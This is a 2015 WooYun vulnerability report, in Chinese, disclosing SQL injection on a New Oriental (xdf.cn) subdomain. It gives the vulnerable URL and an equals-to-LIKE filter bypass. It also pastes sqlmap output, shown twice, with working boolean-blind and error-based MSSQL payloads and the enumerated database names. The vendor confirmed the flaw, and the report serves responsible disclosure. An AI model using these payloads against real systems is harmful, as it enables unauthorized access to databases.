漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0159359
漏洞标题：新东方某站sql注入(绕过)
相关厂商：新东方
漏洞作者： Aug0st
提交时间：2015-12-09 11:18
修复时间：2016-01-23 15:16
公开时间：2016-01-23 15:16
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-12-09： 细节已通知厂商并且等待厂商处理中
2015-12-09： 厂商已经确认，细节仅向厂商公开
2015-12-19： 细节向核心白帽子及相关领域专家公开
2015-12-29： 细节向普通白帽子公开
2016-01-08： 细节向实习白帽子公开
2016-01-23： 细节向公众公开
简要描述：
rt
详细说明：
地址：http://youxue.xdf.cn/whitecollar/Account/CheckLegalUserName?UserName=admin
单引号报错',但是有过滤，
语句http://youxue.xdf.cn/whitecollar/Account/CheckLegalUserName?UserName=admin%27%20and%20%271%27like%20%271 把等号换成了like绕过，返回true
sqlmap 加tamper equaltolike.py走起
sqlmap identified the following injection point(s) with a total of 123 HTTP(s) requests:
---
Parameter: UserName (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: UserName=admin' AND 8406=8406 AND 'MZMV'='MZMV
Vector: AND [INFERENCE]
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: UserName=admin' AND 6485=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(107)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (6485=6485) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113))) AND 'oJll'='oJll
Vector: AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
---
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET, Nginx
back-end DBMS: Microsoft SQL Server 2008
current user: 'db_youxue'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: UserName (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: UserName=admin' AND 8406=8406 AND 'MZMV'='MZMV
Vector: AND [INFERENCE]
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: UserName=admin' AND 6485=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(107)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (6485=6485) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113))) AND 'oJll'='oJll
Vector: AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
---
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET, Nginx
back-end DBMS: Microsoft SQL Server 2008
available databases [12]:
[*] erp_test
[*] erp_test2
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] TempTest
[*] xdf_cms
[*] xdf_mrms
[*] xdf_test
还有一处，也是直接报错，http://youxue.xdf.cn/t20625071'.html 单引号直接报错
请排查
漏洞证明：
地址：http://youxue.xdf.cn/whitecollar/Account/CheckLegalUserName?UserName=admin
单引号报错',但是有过滤，
语句http://youxue.xdf.cn/whitecollar/Account/CheckLegalUserName?UserName=admin%27%20and%20%271%27like%20%271 把等号换成了like绕过，返回true
sqlmap 加tamper equaltolike.py走起
sqlmap identified the following injection point(s) with a total of 123 HTTP(s) requests:
---
Parameter: UserName (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: UserName=admin' AND 8406=8406 AND 'MZMV'='MZMV
Vector: AND [INFERENCE]
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: UserName=admin' AND 6485=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(107)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (6485=6485) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113))) AND 'oJll'='oJll
Vector: AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
---
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET, Nginx
back-end DBMS: Microsoft SQL Server 2008
current user: 'db_youxue'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: UserName (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: UserName=admin' AND 8406=8406 AND 'MZMV'='MZMV
Vector: AND [INFERENCE]
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: UserName=admin' AND 6485=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(107)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (6485=6485) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113))) AND 'oJll'='oJll
Vector: AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
---
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET, Nginx
back-end DBMS: Microsoft SQL Server 2008
available databases [12]:
[*] erp_test
[*] erp_test2
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] TempTest
[*] xdf_cms
[*] xdf_mrms
[*] xdf_test
还有一处，也是直接报错，http://youxue.xdf.cn/t20625071'.html 单引号直接报错
请排查
修复方案：
版权声明：转载请注明来源 Aug0st@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：16
确认时间：2015-12-09 15:12
厂商回复：
谢谢漏洞提供，我们会尽快处理！
最新状态：
暂无